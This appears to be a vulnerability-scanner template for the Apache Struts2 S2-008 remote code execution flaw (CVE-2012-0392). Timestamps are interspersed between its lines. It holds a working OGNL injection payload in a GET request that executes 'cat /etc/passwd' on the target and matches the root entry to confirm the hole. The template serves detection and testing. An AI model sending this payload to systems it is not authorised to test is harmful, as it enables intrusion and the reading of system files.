2021-02-21 13:59:42 +00:00
id : CVE-2012-0392
info :
name : Apache Struts2 S2-008 RCE
author : pikpikcu
severity : critical
2021-04-22 09:02:19 +00:00
description : The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
2021-02-21 13:59:42 +00:00
reference : https://blog.csdn.net/weixin_43416469/article/details/113850545
2021-03-18 07:54:36 +00:00
tags : cve,cve2012,apache,rce,struts
2021-02-21 13:59:42 +00:00
requests :
- method : GET
path :
- "{{BaseURL}}/devmode.action?debug=command&expression=(%23_memberAccess[%22allowStaticMethodAccess%22]%3Dtrue%2C%23foo%3Dnew%20java.lang.Boolean(%22false%22)%20%2C%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D%23foo%2C@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%27cat%20/etc/passwd%27).getInputStream()))"
matchers-condition : and
matchers :
- type : regex
regex :
2021-07-24 21:35:55 +00:00
- "root:.*:0:0"
2021-02-21 13:59:42 +00:00
- type : status
status :
2021-03-05 20:39:54 +00:00
- 200
